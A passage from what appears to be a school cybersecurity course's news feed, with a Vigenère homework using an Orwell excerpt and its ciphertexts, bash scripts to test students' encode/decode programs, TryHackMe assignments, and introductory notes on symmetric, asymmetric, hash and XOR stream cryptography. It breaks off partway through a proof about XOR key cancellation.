  Behind Winston's back the voice from the telescreen was still babbling away about pig-iron and the overfulfilment of the Ninth Three-Year Plan. The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it, moreover, so long as he remained within the field of vision which the metal plaque commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment. How often, or on what system, the Thought Police plugged in on any individual wire was guesswork. It was even conceivable that they watched everybody all the time. But at any rate they could plug in your wire whenever they wanted to. You had to live -- did live, from habit that became instinct -- in the assumption that every sound you made was overheard, and, except in darkness, every movement scrutinized.
  Winston kept his back turned to the telescreen. It was safer, though, as he well knew, even a back can be revealing. A kilometre away the Ministry of Truth, his place of work, towered vast and white above the grimy landscape. This, he thought with a sort of vague distaste -- this was London, chief city of Airstrip One, itself the third most populous of the provinces of Oceania. He tried to squeeze out some childhood memory that should tell him whether London had always been quite like this. Were there always these vistas of rotting nineteenth-century houses, their sides shored up with baulks of timber, their windows patched with cardboard and their roofs with corrugated iron, their crazy garden walls sagging in all directions? And the bombed sites where the plaster dust swirled in the air and the willow-herb straggled over the heaps of rubble; and the places where the bombs had cleared a larger patch and there had sprung up sordid colonies of wooden dwellings like chicken-houses? But it was no use, he could not remember: nothing remained of his childhood except a series of bright-lit tableaux occurring against no background and mostly unintelligible.&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;Key1.txt for orwell: &lt;code&gt;SHORT&lt;/code&gt; &lt;/p&gt;
&lt;p&gt; &lt;code&gt;OrwellShort.txt&lt;/code&gt; is encoded with key=&lt;code&gt;SHORT&lt;/code&gt; (using the methods described above):&lt;/p&gt;
&lt;code style="word-wrap:break-word"&gt;
AAKRLSIFZZZAQFEVKOPBFHDIBDHBUMZLQCHURGNXJLGKKARWEZLOWIMWLBNBFZHFGKTWKAZPGTAAUBLSRSSUBFACYBKIFVTKAWETFLTWHJAHFXKJOGXLOSMBDLKZGVZZZIHLRHNAJYCRLOFFNYOHYXYSOJLVVCILGMJZVLVFPFSUGZHFZHYHMNVEHLXIZVCSMVGGBUYMGWFVOWUHRLOPFCHXNFZMLFRLLLMFFFWUHVKAUUREGUUNBLOVZFLOSYTDSKRRKTSCMGMPFBDLRTTTIOXXSURFEVYOXFSAGRMGUSVGVVTZMSJCCHMYSUIGZHVKLVCCTJNSWHJPBUHGYRZLHSOPASKPVXFAOTDWKHFMZLKREDPHUXHPQKXVZWDIDFOEXFVFDHMZTRVWTCIXLOOETELHIXOPRVMZLTRVWVTRFSUCWTTVIKYGYHPYACSNBLOOYXSCMSESJYDHMZHRVZLOEWJBUXXVSMYTFKGFFWMSRMMYSJPAUGKHFTOUXXVFKAWZHRBJZWKPSZBFNKLHIRAUUKAWSWWMWCSETLAVVUWZHFYLPAVLAAKRLKLZUHEDCIDAUURGVHHGKWZSEMLOSVEWJHIBUJIIKWUHNTKJIKHXMRLKAUUUTQSWXALOCLKKPHNTKWOIMGMHYXWJCEHEFRIBNLWEIJLDRKSAWFGXVFYTLLKVXCAVVYDHHNTKZSMXFMZZZZAGLISURNBFZHFGOOCNTKAVZKLFBZGWHBUASKOMTJPQFLWBZTXJHPFOWOWJKANVKTFRZVPWUHJEGDZPKWZHZGYZSMXJHZKBELGFGLOSNTQVBVTUOZRGVPBXHHWCJBLLHYXDPTKLZHTKMZLDFLLLFNBLOHYXWUCIFGBGWTULURSWKTIHEAVVPSSZZMOHGFGWVTKAGZSGBUAIIXKDVZVZHFVLGJCEMJPJVWLOOKMZLSPXKMCCEGDMFNSICLMOOSERGBAFOWIWXUJVHYXJPGNTLJVZGYFCLMZLQRILPCEUWUSRMZPHITFPBJBVLHYXXSOKTXYIZMQCCZVWDOJKWHRZGYVIKTDPGKHXMWXNJLGNAAJVYTVZCDXLOWEZLVRFPAAVKAWWFFWMJHZHFVTGBYPFFGLOSMHAJSTTELTIHEHBFUDVBXFWAOCIDHELXDPYVTVBZCXVTWIKGYKYBUOTFKELRGTJACWMZLGLKXHQVHXAVVKANVKASURNTDSKZGKACEMMYBVWSZKZMUOOEWLOSMHAJSJTFRGFFWDVRMLOCLZZAVVPGYRJPWYSJMASZUBKAWEZMPGYTTSSKAWPBJMJBAVGLAVVMWSSJVJLSEBLDOJVSSZVWUVICWTLRZFELRSNLAVVKWDOJGGDOPHXZVLMLPBXBLVTWVGTDCXLLZPAWTCMXVVJVKLVHYXOPBUHOHGDTDSWJAXYOZEXPULKWAVVFWHUIXFLGJHXOWJUGKMDXJLZPXEWVRLAGSUUQAVVUDBSFOWYOCEKDVZVZDSIXLOSLGAMCIFGMHYXHHFKRZPGYTAYKRLNLFPYSPFYBKMOTXFHHLKSSZPLSUULBFLVZLKRWEKGBUYXFLRSRUVOILWZCRISURSEMUHITRVFSESKSJTFKHYXUVZUHXAVVPAUHVKLOOKASKXLLLLBUXVVIKLAKSVOWUHYKGBUYMZLGYNLDWEWGDDRGWAVVPGYZUEGVYVWUVZUWGDBZGLOSJMJLSKEAAHCXWKRZXKVTNBFKKVKWDVZKDPBXWMZHRGVACIGHHDVKAUHFLHPFREKHBUMZVIXALOSJNFDOJLZPBZGYHBUMZLGBRSOOILZIZLXLOSIXKLSDXVACSXFVQFEGBFZGSUMKAAUUVQULDKMZLDFLLLFJMZHHNXJLDCTKASIXVLJVKQDVVKWAVVUDHQBFGBGKTUOWFWXHQVZSGSUWGDBWKGTSMXJFQFFEHBUBFNQFKFLFKAWYSNTKVBVHFAVVAGBGVYJVBKBETSUBSASCRGWDFLAASSBYIFFMZLFZLOHHTAAUUPHMAVVVSWHZHFZOZWOOWCXLOSUTJRSPXKSCFDWKRVXHPBKHOPBJMGUGFPFKCNGSAGKKWLHCXNLZRGGAVVKHVGKXJACIGSACEXUVFEXJMZRIHLRWBLMICEQPBKAWDWEWSSHVKFHHVEQJCMXJPBXTFKIEVGCSIBFNHYXKPBXEWDCIWAUUJHUPBKAWMOIWAZHRGULOYXDPQFILLFJDATAVWVVKEUWAKVXFAVVKGVTJAGCSIXVMCITFPBJMSUHCBCLOSEMLPFMLSSRGVKOIMWKONTQHURBFDWKASJIIOAUUWEANVKBLDOJMZLDFEAJSGTLYCCLFVCGBFNWEMGWSFIDLGNBFKCNLLOSGTLYCCLVPREHLTOKMWYVFPWCSIHFSMKAWAVFNYOHGHDPQVFSAHVKWKPVAAURNBFZHFGKIOTDLOSMHAJSWKGTHYXLLZVLUYSVGOHGJMASZSTTIZZGYHKRRSICLMHPUZKGUOEWLOSFOWYTLEXPZDXFACWMZLBZGLOHYKWLMVTJWZRGLOSKXDLGTKWLBIXULWMXVHBUMJHBJFAAHVWKPALELHBVHMZZPTFFGFNFKHYTLDWELLVBDTVLOSHNLHYXDLJVEGMOMXJFZFPOOWJIWYKFNDKPVIAJYVWMWPPBLTCIXGCSILGSCEZSZVVKWTOZGWKKZMZPBKAWMWVEVVTMBKPCEPZPQYMZLAVMSSDCTIBSTHETOEWWKVVVGBZUUWZSVGSZKVEDHGYXSYRKAWYSNTKVTTHMYGVGGDOPHXRBFPAUUNAWAVVKQVINXJLPVBFNKRMUOSUTLHBPZACSEFGTSEMZVKFYLLBFKGUKYTLZMJMWTHYXLOCLZZADFEAJSGEMNUVWAUCETFFWEWACWUNSSKZKWDOJZMLGJPGYYZMOHGVOWUQFGULWMTTSSKASAHYXQDOKVZLRVOWYMSHVFOCELOSKBELPLMSAOERJHHVMZLMTHMSRGEMNWERGBFNBJLKYXFLJVKLOSPPSUHVWLVMFNZHRKHDPJVWAKZZOWMFFFZHPZMLOOKUWJODXAUGKBFJHZGLOSRLKBAGMAVBKASASMXJFGFNFKMFNEHRVPSZCMXJOSRKVHBUXPJSGMAURRKCUSJLWCSIREVJVFWUHJVJBHZGAGSUPAUGKHFRSGMZPGSTURHLKFLRKHLOSKXDLGTKWLBZMOHGJTXLFKAGBUYTKOSNXDSYEXOLJVGSIOTDUHBSXJLJVTDPBXTCPZFFWAFVTOHMKAWTWEBKAFPHXAFLMZOWJIDHQVHXDCIDLVKVKWKJRLLHBUPZPHVTTVJVMZLUIBEFZRGVZQRIWAVZLZLHYHMNVKPAAVRLGYHFYNHULXVPGKTKASKAAZKRLDVBUHFJVZXXJWKRGMOZKKAFZIGUSZMKLZWMZLHYBJKAFLLWCGNDVIJHXAVVIJVJZGULGFYGJSRGAHVVMJPSUMGZELXWGSFNLZCDXUOWCWZVCUFWTCIRLOOKLZVICWLLZCAATKYXLOSIEGURFGZHRREOHMJUWLBHNAASCBCLHYBKDSIXLOSIXSSKRRKAVVLWCWJMSZCWKGAHZGYUWEXLLSEMZJSEMMYMYHMZSJMZLWILAKSJLZVFVWMWKZMZIOLECZCWMATPVKLOSZKOPBUHOZDRMUOSUPAAVTTJKPFTJKOEWLOSZKJVCWLOPHYVGYFLZSASUBJVBKAWPFTKSGMXTJKSEPSSZJLSNUZGYPBREDKWIXUAWFGKHBUMZLPFFTLRJBLLGNAWYSKAWWZRLLLFUNKAGNBJSSUBFAVVTAYOEWLOSNBDSCNAWYPJMJHUXEWKCMXJAVVAWHDJHXYISUDLOEWLOSGESJSJPZLFVMZLPFFTZVRWUSSRKWKOCTJNSIISAQYTFKHYXJLVRWKWFLGYBDJHJKWUVGSCEBWZCWPGVRVGVDSCEAUUJEARSTAAJYVGZVIJXKIIKBLDOJGGBGVAWJCLEVUCKKWTSDUWYBFMZPBXKWTOZGWKCWAAZQYBDKVFHVLLTXHAOJXJPSJHXIFZZZAZZMLHPCXSBLFVUBFIBFNOXTAUGKGGIOTDYYCLGVHBUFGZHCRMUWEMWSZZZAIZV
&lt;/code&gt;
&lt;p&gt; &lt;code&gt;OrwellLong.txt&lt;/code&gt; is encoded with key=&lt;code&gt;THISISLONGER&lt;/code&gt;(using the methods described above)  &lt;/p&gt;
&lt;code style="word-wrap:break-word"&gt;
BAESASMFVMLKVVTVLSJWAGTIBSIFLLSSPRSTDZEWZWDHEOOZGNBZQJESRTAZGZBGVKXWGNLZLJPAVFFNMRIUBUBGPADPEKEJMPVSVWQTBXXKHLAUIHPHUKZZELEAVVDZVVTVWXCAKCWMGNVFNNPLPWRZNYWUHVZKWXGWPZSIRTIFAAZBFZLFNNPFWLBIVIOCRLVGCYSHBVVVOLVLIKHWERSWZYQLBQOIFZJIHTMFBWCWAMECHUOOQLSVVSXYXOIDTOLMFSICMVNTWAWSQIESUHOWIFOCYJVRZTILASECAKIEWVNABSNCYUYIXKXGALPFGUSCTYOWNGCWAJSFKKQKXDLMUGHSXLVLIUVSQZSKALESTDTHQKTZVAMVAAXDYEEEXUWJUGFGSGGVFVZWBZLBNSIKKLEALWEVRLETXVNSUSYCSGFFNANGZLJTVBINBAPSPWLJLHPRVRUGCKEOPNIRGKZMOYPRYELRGKAGUWQSNZYIXZEAVKECASEUXMWJBZPGGGMILPBOIKYCHYIKKFQFOLSSYOJKXCMFILEVRHIJMVNLQEPGVZARLZMDLGXKBXOZGNIFLSEDEKWVGABZMWWSPZVZVJCJZWYHJGWTNAWXNVFFVTKUTFTAOZEVBAVJBAESAHLFGUJKALMUWFZALJVZOLQFXJPDNXEKBVVXWJSOGKAVXRBZMXWOGCEJLLDWVXWWTNXJNWIFLOTBFZSEPOWOIKEVVXXPGPVWIFOVNJEMTYQUWKPIYIIITIWNMZTGEOKYMHVCTWHSAZWCHDTQZWDHVTKJXCMJIDEWZKWFGAPWESJCAKETASIFLAYUBVTFLPBWBZPZVLXJAHNLBZPDBYXVKDQLPLSSRTSIFVCKNSNSTGDVWMZGULSSJGPCBAESAGYSBLXYHZMHQUEIEKWNAPKZIJPGBISEMYQNMVEVNZXYXLGWAXZZYUAPHBITWMEKUKRPHBUGDWMWTHVFMOMJQKHOGILZGNGGCLSSPGTKBVVTMFPOGNMKKHVAVKTRRZLVYSILIXCIVZCMHPKWESDFRGHZGNWMBSWWFZSWYPOMZWDKUOGYAHLKWEPHUORXMVLGEAEVGNIGKVLMKLTCAUJGBNQJWFEVRBSZVLKSUWQFBSEEHITGVYXSGGPGEHYMMDTYRGHLESMVUACFBXAYBJPXWJXSQVEIMVNLPWDIELETXVNLPWCWTNXYTULOIDWKVTWKHUBMZFPRNYAZMJPSVVEVRBSZVLASVCDCZKAYTABZWMRVGNINHYLKEWCSFZMCEKQKBAYUHOWYTITWBZPWAYXINTMFBLSSGKPVLJZWMFTHJGWTTSTWLUZIYJFVWPUEMVMIGZLVKLESAFZKNESWLOCLBAYUVZSWYJWEXDPHRRCYXTWNMVZJRXXFMOMOQFOCJGWDTSTAAZQFNOPWBNCJMLSSZKEXKLVWAKZTUOWSHKGEMJPZLKQGAHAAHWOPLZLVUSCWWNPFNRPJPOQUPOPFRZLVNUQXWJXCSZLVIHZLGZTGUGMIPHANMJJTNOVYBZNSKWYOGAVRESGKIFRIVTIYBZACQFCCHMLVGLLTGUZOEYIJHHXSVVMZHTXITGWJJDLRRYEEWAPWKGWRBLXYXDQFBWCHUGXYTKRMALPBQKHFNAAALWPJRTXYKVCYPLSSFNYKPPVVWOAOAKXYXDWJTVWCBQIUVVTVLGHBVTXYXZBJMWEZVZXCXLLVQWDCSCMEWDMJMOSWERMEZKCKBSYRGUVEIHXWZAYHBYTZKHTKIFOHUUYXAAPWAMYKNYWYBUQFOSYRGNIJDFIZIJDVORYVMOMJMKPSZKHKHIMFWUZZBAVZGHVQBZTBTKBTXWBLPWACFZIILAPSBOPFRVPRLAMJMVPJRXCNALZWBZPPYGGBFVCKBSNVVUHWTJMYIRPRQUAEYYWEMNPFLISDFHVVQFRQBXRVKAPWZWHOFURVHUBZMZZIFKJIHUBAUEPRVGXVEFWHXGDWGKFZZIZGBZPFVYARMJPAVYJCHZLVVHXLQGYGNOHNAPTWBZPRNXOVRLADWGVSQJIVIPVLWOTBFZSELVEFLGHBNZWKKLMLTWGSYGRFMOMJXGDHRXXFKUILWFPQBXRVKMTSXHPRSOXWNSTQQFEVRCMEWHTLMJYOGKPPVVDWZAYUNTHLGJWNMJTBTZLVLPVYTWHCEJMEZZWUQFEVRLEIWPALIFNSNNICBJWHBWCGXOQDXKLGEFMSGCIVGAPWZGZTFNSMXYMVNGCOAORJMHVLTAVSNHPLXIWLBDPOAJHRKAMVIOLMNMEZGDQLPSNIEBMEZMTAOZEWGCEJMOMHWDTQRVEKKVTKVGZDVTKZGAWHMGAZRYAZGKWOALSSCGXIHSAVQVYCGSEKMLZZWOPJRXSEEFBZMLSCHMLKIVTAKWXOGZIIXKJWPAYRJORJMVVKJSNYGNIMHPKWNJZAGNIKXSMKKJPSACEJLAQDTTLPORMEZHESGSMCHZTZZPZGVSYRGNIFOLZXCDQWYSIEMVNLPWYWAZLKAYMWGWLFCREEMOMLMDPGPXIVGYMUMAGSQGRUMYIFAETHGKHJBTCDBSYSBAWCRHVQAGFBQZLRMDQFALZBZGHVTIWNMLSSYKZVEVNSDWCMYUANAPAHMJHCHRHSXWQUSWOICHCZMTWJMGGSEYSCHUOSAZPFRSEZGLLOQLSWAZLVYPMDLGQJVYMFGDPAKZEVRSIKTSXDIIFSPUQDTULWLZPQBAPUULAWMFLGJKPCTZPWIJOHUKVVPHAGNUZIEYIEHDIQWXVBBCMEZDPWBZPFLUYNXYMTMAYUJGXTALLSBSYMTOZVGTWEMFEVBCSWMLVGZGYKUGXJRZBWULSSGNSLZOBHWDTQRVPLZNMVQFZBNTCZGKQNQVFOYCMIXDIKOMPGFCSIDPBOIKPJRTGFGJMADSMZRZLRMAPWGOLHPNIUXCMJGTZRLGPCMOMLQEPPHZEKTUGJILPHUKCTHBTVXDFUVTCFNYEAZWHVRTIMXYBZMQHOAZIUMVGGCZLRGUPZOLLALDTJRLVFFOITQLEVNZFVVHUWQFDHVTGKBUBZMSDGHSTKBVVLPSESIKVPLVCFLQZIZGHVPHAGDWCVRGVUTULWFUPDGORUTYSFMKDSIKVPFVDWUWYHFIVLMPVAHWOKVTWKHUSWXLSWFHETDACJVWOHBZLVMLTWAUCSRTMKPHAKIXPFGNSLZOIKPWHSYROEXDMNMFLPNIOTTUJWZWGSNRMEZHSATGXSGXIRPHGLPWXWAOWKKFWXBJFHUNMJISIUMGQKBXOKHDMJMVGOFZEEWDPABWLPBBIKALOJQEJZNTHJVHXWBZTGUKXYHBOZBOTHUGWFKAWXDSRIRJMJMHALMLSWFCEJEVVVWFNVVKJTBAGGNSTFFZVZIVVWQLDSYLXYXAPAZVXCFZTFIBTGCKZTGNIGKVDAVUPGBLSTXHVAIZPHEOIUMVAICWPNRUYKLVUWKZTZQNSFWTMEWJJHUGXJAVCDLLPZYNMDPOMLPWCZBTHFGOIVIDHOLYFVXUYMQLPZVQIKAPAOMJPHUKVVTSESGKEVRYIMBZBSAGQFBZXZGNVAVWESRTXYVLVLCJJVBAWVLAPWQJDWQKWJAVZWLMAKVZLSTBTCAGQHVSFVKAPWQJHWAJSNLWILKZPRJOXYVHZVJGLFQGRUMOMAZJZCSYAZMOKGZJFUNZIUBYWFBZPWEIVRSFOSZVPBJGPCLZIYOAYUVTECEKQJMUEWBTWRGKBZMTZAOKHJBAMKEZPFRZLVISIKBWCRHYXJPPZDMVTBGNIRBYIFLLSSJOPCHDPWZTDHEGKXELLGDWCHUKLVTWAGNJFPORIRGKBZMHWOPKWNALZWBZPPBSFJAHLUTWLFRJECTYOWZHLHPNEEWAPWZWSOQYTINUOMXKZFQOHTHSWFQWDCSCSFWLVVEWWZVTKJEPSWKZTQXKRYHBAWATFHVZARLUWMAWSSPUYCWUWLZWXSZHIIGVBZQFRFRSEZGLLGNZTGPNMCWOWGLWIQRVXRLLZAMKZTOXMXAATABLLPYKELQVKUCJCWAMEXTPVKBFZPNIOXKVCFLSYRZUWKEFCFQFESYRMXBITW
&lt;/code&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-02n"/><published>2026-03-02T12:00:00+00:00</published></entry><entry><id>2025-03-03n</id><title> 2026-03-03</title><updated>2026-03-03T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2025-03-03n"&gt;
&lt;h5&gt; 2026-03-03&lt;/h5&gt;
&lt;h3&gt;For you c people: max plaintext size 12000&lt;/h3&gt;
&lt;p&gt;As long as orwell can be encoded or decoded you are good.&lt;/p&gt;
&lt;h3&gt;max key size&lt;/h3&gt;
&lt;p&gt;The max key size to check is 12&lt;/p&gt;
&lt;h3&gt;Test your encode/decode:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
#Change to any examples from class:
answer=THEANSWERISFORTYTWO
key=COMPLEX
cipher=VVQPYWTGFUHQSOVMFLZ
echo -n $answer &amp;gt; plain.txt
echo -n $key &amp;gt; key.txt
echo -n $cipher &amp;gt; cipher.txt
echo "Attempting to encode:"
make encode ARGS="plain.txt key.txt"
echo "Expected result:"
echo $cipher
echo ""
echo "Attempting to decode:"
make decode ARGS="cipher.txt key.txt"
echo "Expected result:"
echo $answer&lt;/code&gt;&lt;/pre&gt;

This helps if you wanted to try different possibilities automatically:
&lt;pre&gt;&lt;code&gt;#!/bin/bash
#Test with any of the examples from class:
answer=THEANSWERISFORTYTWO
key=COMPLEX
cipher=VVQPYWTGFUHQSOVMFLZ

echo -n $answer &amp;gt; plain.txt
echo -n $key &amp;gt; key.txt
echo -n $cipher &amp;gt; cipher.txt
echo "Attempting to encode:"
en=$(make encode ARGS="plain.txt key.txt")
if [[ $en == $cipher ]];then
        echo PASS
else
        echo FAIL $en vs $cipher
fi
echo "Attempting to decode:"
de=$(make decode ARGS="cipher.txt key.txt")
if [[ $de == $answer ]]; then
        echo PASS
else
        echo FAIL $de vs $answer
fi
&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;Finally, try using bash script arguments $1, $2 etc.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
#INITIALIZE using CLI arguments
answer=$1
key=$2
cipher=$3

echo -n $answer &amp;gt; plain.txt
echo -n $key &amp;gt; key.txt
echo -n $cipher &amp;gt; cipher.txt

en=$(make encode ARGS="plain.txt key.txt")
if [[ $en == $cipher ]];then
	echo PASS ENCODE
else
	echo FAIL decoded $en vs $cipher
fi
de=$(make decode ARGS="cipher.txt key.txt")
if [[ $de == $answer ]]; then
	echo PASS DECODE
else
	echo FAIL Decoded: $de vs $answer
fi&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;Now you can test both directions with a single line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./test.sh THEANSWERISFORTYTWO COMPLEX VVQPYWTGFUHQSOVMFLZ
PASS ENCODE
PASS DECODE
&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2025-03-03n"/><published>2026-03-03T12:00:00+00:00</published></entry><entry><id>2025-03-05n</id><title> 2026-03-03</title><updated>2026-03-03T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2025-03-05n"&gt;
&lt;h5&gt; 2026-03-03&lt;/h5&gt;
&lt;h2&gt;Homework&lt;/h2&gt;
&lt;p&gt;Please complete the intro to TryHackMe assignment by Monday 8am.

  &lt;/p&gt;&lt;h2&gt;Ongoing assignment: Create a How to document!&lt;/h2&gt;
&lt;p&gt;Place an md file in your classwork repo: &lt;code&gt;HowToHack.md&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As you learn ways of accomplishing goals, take notes in the form of a "linux/hacking" cheatsheet would be a very good idea. &lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How to transfer a file from the command line
    &lt;/li&gt;&lt;li&gt;How to find the ssh logs of a linux computer
    &lt;/li&gt;&lt;li&gt;How to display the hexadecimal dump of a file
  &lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;The action of creating this document will help you learn how to do it better. You may NOT just use/copy someone else's document.&lt;/p&gt;
&lt;h2&gt;TryHackMe&lt;/h2&gt;
&lt;p&gt;All of you got an invite to TryHackMe at your stuy.edu addresses.&lt;/p&gt;
&lt;p&gt;Please accept the invite and make sure you log in.&lt;/p&gt;
&lt;h3&gt;What is the point of TryHackMe?&lt;/h3&gt;
&lt;p&gt;TryHackMe is a great self directed learning tool. If you want to learn a lot fast, this can facilitate.&lt;/p&gt;
&lt;p&gt;Reading the page and trying to understand it is the goal. If you just try to find the "correct answer" as fast as possible you will be missing a lot.&lt;/p&gt;
&lt;p&gt;In the future your knowledge of these rooms will be challenged via practical activities.&lt;/p&gt;
&lt;p&gt;Please update your &lt;code&gt;HowToHack.md&lt;/code&gt; with any new skills and tools, along with a tl/dr set of instructions.&lt;/p&gt;
&lt;p&gt;You have to do tryhackme rooms on time. They are not meant to be completed at a later date and will not be graded if that is the case.&lt;/p&gt;
&lt;h2&gt;Pre computer Cryptography&lt;/h2&gt;
&lt;p&gt;The best pre-computer ciphers are surprisingly effective.&lt;/p&gt;
&lt;p&gt;The Enigma code was an important cipher historically and cryptographically speaking. You will learn about this in a homework assignment.&lt;/p&gt;
&lt;p&gt;One time pad is an encryption technique that cannot be cracked, provided the single-use pre-shared key is larger than or equal to the size of the message being sent. This is equivalent to a vigenere with a key that is long enough for the entire message.&lt;/p&gt;
&lt;h2&gt;Digital Era Cryptography&lt;/h2&gt;
&lt;h3&gt;Encryption Types:&lt;/h3&gt;
&lt;h4&gt;Symmetric Encryption &lt;/h4&gt;
&lt;p&gt;TheSame key is used to encrypt and decrypt. (e.g. Password protected files)&lt;/p&gt;
&lt;img alt="Symmetric encryption image" loading="lazy" src="img/keysymmetric.png"/&gt;
&lt;p&gt;Ceasar , Playfaire, Vigenere, and many other ciphers use the same key on both ends. The key must be exchanged ahead of time to allow the authorized parties to decrypt messages.&lt;/p&gt;
&lt;p&gt;The most widely used digital cipher that use symmetric keys is AES (various number of bits). But there are others such as Blowfish/Twofish, RC4, RC5 ,DES.&lt;/p&gt;
&lt;h4&gt;Hash functions&lt;/h4&gt;
&lt;p&gt;A one way encryption (md5, sha, sha2, etc) that cannot be returned to the original form. &lt;/p&gt;
&lt;img alt="Hash Function image" loading="lazy" src="img/hash.png"/&gt;
&lt;p&gt;This is often used for authentication purposes&lt;/p&gt;
&lt;p&gt;When you send data you can check if that data was transmitted correctly by also sending the hash of the data along with the data. If the hash value of the received data matches the hash that was sent then the data was sent correctly.&lt;/p&gt;
&lt;p&gt;You can store hashes of passwords. You can still hash what a user types in to compare against the stored hash, but an attacker cannot see everyone's password. &lt;/p&gt;
&lt;h4&gt;Asymmetrical Encryption&lt;/h4&gt;
&lt;p&gt;Different keys are used to encrypt and decrypt. (public key cryptography)&lt;/p&gt;
&lt;img alt="Asymmetric encryption image" loading="lazy" src="img/keyasymmetric.png"/&gt;
&lt;h4&gt;Stream Ciphers&lt;/h4&gt;
&lt;p&gt;One bit or byte is encrypted at a time. This uses a random string of bits called the cipherstream which is combined with the plaintext using XOR. &lt;/p&gt;
&lt;p&gt;The resulting ciphertext can be decrypted using the same cipherstream and XOR again. Stream ciphers must always use a different ciperstream for each message. The cipherstream can be a pseudorandom set of bits, in which case the random seed used can be the key. Alternatively, a truly random string of bits can be created and both the sender and receiver can keep a copy, they must then agree on which parts of that cipherstream to use on each message. &lt;/p&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Plaintext&lt;/td&gt;
&lt;td&gt; &lt;code&gt;...111010100111...&lt;/code&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cipherstream &lt;br/&gt; [this is the key used to encode AND decode] &lt;/td&gt;&lt;td&gt;&lt;code&gt;...101011010110...&lt;/code&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ciphertext     &lt;/td&gt;
&lt;td&gt; &lt;code&gt;...010001110001...&lt;/code&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The reason that stream ciphers must always use a different ciperstream for each message, is that an attacker can XOR the two ciphertexts together (see below). When the cipherstream is the same, and you XOR the two ciphertexts together the result is equivalent to the XOR of the two plaintexts. If the plaintexts are natural languages then the resulting stream can be analyzed to find the original messages. &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;XOR is commutative&lt;/li&gt;
&lt;li&gt;the inverse of a XOR is XOR'ing by the same value&lt;/li&gt;
&lt;li&gt;This result is very easy to decode using the same key and the ciphertext.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Terminology&lt;/h3&gt;
&lt;p&gt;
&lt;strong&gt;confusion&lt;/strong&gt;
    is the technique to ensure you do not give clues about the plain text in your ciphertext. This means we want the relationship between the ciphertext and the plaintext to be as complex as possible. Ceasar Cipher has poor confusion,
    while polyalphabetic cipers have better confusion, enigmacode has much better confusion.
  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;diffusion&lt;/strong&gt; is the spreading of the statistical structure of the plaintext over the bulk of the ciphertext. This is done by transposing or permuting the data. This occurs in hashing when a small change modifies the entire result.&lt;/p&gt;
&lt;h3&gt;Stream vs Block ciphers:&lt;/h3&gt;
&lt;p&gt;
&lt;strong&gt;Stream ciphers&lt;/strong&gt;
    are high speed, no diffusion, low hardware complexity so it is often implemented by some hardware.
    Each bit or byte is encrypted one at a time.
  &lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Block ciphers&lt;/strong&gt; (tomorrow's notes)
    Software implementation lowers the speed, padding is added to make the messages a multiple of the
    block size. Each block is encrypted independently. Diffusion is possible within a block.
  &lt;/p&gt;
&lt;h3&gt;XOR&lt;/h3&gt;
&lt;p&gt;Since xor is commutative:&lt;/p&gt;
&lt;p&gt;Let &lt;code&gt;C1 = text1 xor Key&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Let &lt;code&gt;C2 = text2 xor Key&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Now if we did &lt;code&gt;C1 xor C2&lt;/code&gt; it is the same as: &lt;code&gt;text1 x Key x text2 x Key&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Since xor with the same thing twice cancels out, this is the same as &lt;code&gt;text1 xor text2&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;This is weak because we may know part of the plain text, or key, or because we can perform frequency analysis.&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2025-03-05n"/><published>2026-03-03T12:00:00+00:00</published></entry><entry><id>2026-03-06n</id><title>2026-03-06</title><updated>2026-03-06T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-06n"&gt;
&lt;h5&gt;2026-03-06&lt;/h5&gt;
&lt;h1&gt;The Commutative Property of XOR and Key Cancellation&lt;/h1&gt;
&lt;p&gt;The XOR (Exclusive OR) operation is a fundamental bitwise operation in computer science and cryptography. It is denoted by the symbol &lt;strong&gt;⊕&lt;/strong&gt; (or simply &lt;code&gt;^&lt;/code&gt; in many programming languages).&lt;/p&gt;
&lt;h2&gt;1. Commutativity&lt;/h2&gt;
&lt;p&gt;XOR is commutative, meaning the order of the operands does not affect the result.&lt;/p&gt;
&lt;div class="math-block"&gt;
          A ⊕ B = B ⊕ A
      &lt;/div&gt;
&lt;h2&gt;2. The Key Cancellation Property&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;(A ⊕ Key) ⊕ (B ⊕ Key) = A ⊕ B&lt;/code&gt;.&lt;/p&gt;
&lt;div class="math-block"&gt;
          1. Start with expression: &lt;br/&gt;
              (A ⊕ K) ⊕ (B ⊕ K)
          &lt;br/&gt;&lt;br/&gt;
          2. Remove parentheses (Associativity): &lt;br/&gt;
              A ⊕ K ⊕ B ⊕ K
